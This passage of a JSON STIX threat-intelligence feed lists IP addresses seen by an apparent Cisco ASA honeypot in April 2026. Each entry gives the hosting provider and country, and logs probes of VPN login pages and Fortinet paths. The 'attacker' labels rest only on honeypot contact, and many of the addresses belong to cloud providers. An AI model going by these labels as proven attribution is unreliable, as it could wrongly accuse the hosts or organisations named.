          "last_seen": "2026-04-29T13:25:31.162Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T09:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: RU; ASN 209702 (Soldatov Alexey Valerevich)",
      "id": "indicator--ec81762b-7cff-40b7-9519-bd40bb4e65af",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T09:20:05.000Z",
      "valid_until": "2026-05-05T09:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 240,
          "first_seen": "2026-04-03T09:03:38.822Z",
          "last_seen": "2026-04-06T01:25:53.896Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 209702,
          "as_org": "Soldatov Alexey Valerevich",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-03T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14956 (RouterHosting LLC)",
      "id": "indicator--d9ec22d9-8471-4497-a186-736445632b8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.126.224.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-03T10:20:10.000Z",
      "valid_until": "2026-05-05T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-03T09:22:15.318Z",
          "last_seen": "2026-04-03T10:33:18.732Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14956,
          "as_org": "RouterHosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--28a7418f-7529-4008-8c32-872163704a4f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.55.25.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:20:10.000Z",
      "valid_until": "2026-05-06T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-04T01:04:30.172Z",
          "last_seen": "2026-04-09T00:55:44.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--462e1491-476b-4dfb-bb19-092f8740a3c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.206.228.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:20:10.000Z",
      "valid_until": "2026-05-06T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-04T00:56:54.125Z",
          "last_seen": "2026-04-30T00:58:55.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1de6f33f-12fd-4fab-aef0-027ce7b4560d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.202.70.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:20:10.000Z",
      "valid_until": "2026-05-06T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-04T00:57:07.376Z",
          "last_seen": "2026-04-13T00:51:20.746Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--4b134434-c1a2-49f9-9867-19a312696da2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.23.191.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T03:20:10.000Z",
      "valid_until": "2026-05-06T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-04T02:35:20.761Z",
          "last_seen": "2026-04-04T02:35:21.926Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T04:20:26.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 202412 (Omegatech LTD)",
      "id": "indicator--85406cf9-72d2-4905-84db-9634f2bd8818",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.16.53.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:20:26.000Z",
      "valid_until": "2026-05-06T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-04T03:56:37.479Z",
          "last_seen": "2026-04-04T06:24:53.121Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202412,
          "as_org": "Omegatech LTD",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /+CSCOU+/csco_logo.gif HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T07:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--562aabdf-6d0c-4843-867a-35fca7f60d92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:20:09.000Z",
      "valid_until": "2026-05-06T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-04T06:20:46.942Z",
          "last_seen": "2026-04-04T06:20:49.945Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e080192e-88f7-4026-b7b2-dde901307c67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-04T10:10:47.245Z",
          "last_seen": "2026-04-04T10:17:40.985Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--aa3e292f-2052-4e2c-835b-01191b91807f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-04T10:12:47.900Z",
          "last_seen": "2026-04-04T10:15:32.926Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2c820e6b-80d4-4651-a3d9-ac21ae0a2855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-04T10:15:23.458Z",
          "last_seen": "2026-04-04T10:15:23.458Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b4f707af-bc89-4da0-8881-a173d4bbada8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-04T10:15:34.685Z",
          "last_seen": "2026-04-04T10:15:34.685Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bd5dac0e-7142-48d1-8682-7779455e476c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-04T10:15:11.636Z",
          "last_seen": "2026-04-04T10:15:11.636Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b36b1cd9-c185-421d-a19a-faa3812a29a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-04T10:15:47.026Z",
          "last_seen": "2026-04-04T10:15:47.026Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--409f1f5c-f244-4cc1-9a8c-c0a8f7dddfa7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-04T10:15:16.269Z",
          "last_seen": "2026-04-04T10:15:16.269Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--4c87385c-032e-47cb-98b8-0b1b18820e65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-04T10:15:42.258Z",
          "last_seen": "2026-04-04T10:15:42.258Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T10:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--bde96bb2-b68a-470c-a777-868a2b18f1ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T10:20:04.000Z",
      "valid_until": "2026-05-06T10:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-04T10:12:44.679Z",
          "last_seen": "2026-04-25T08:50:52.652Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T15:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 36352 (HostPapa)",
      "id": "indicator--87634916-be1f-4975-a00e-2e54a16496f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.172.153.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T15:20:05.000Z",
      "valid_until": "2026-05-06T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-04T14:56:21.051Z",
          "last_seen": "2026-04-04T14:56:22.083Z",
          "country": "United States",
          "country_code": "US",
          "asn": 36352,
          "as_org": "HostPapa",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"POST / HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T18:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--638e24b9-a18c-4a30-89a9-d4c3f1b77b35",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.105.210.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T18:20:06.000Z",
      "valid_until": "2026-05-06T18:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-04T18:09:45.652Z",
          "last_seen": "2026-04-04T18:09:48.656Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--da4c5267-27a0-412e-87fc-edf02ee9b52c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:20:10.000Z",
      "valid_until": "2026-05-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 34,
          "first_seen": "2026-04-04T19:36:52.415Z",
          "last_seen": "2026-04-05T00:35:41.653Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"POST / HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
      "id": "indicator--8e91142e-4f6c-47c5-a0af-6cfb7c86ea61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T20:20:10.000Z",
      "valid_until": "2026-05-06T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-04T19:35:01.691Z",
          "last_seen": "2026-04-04T19:35:04.917Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 215778,
          "as_org": "Alpha Strike Labs GmbH",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-04T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: HK; ASN 215778 (Alpha Strike Labs GmbH)",
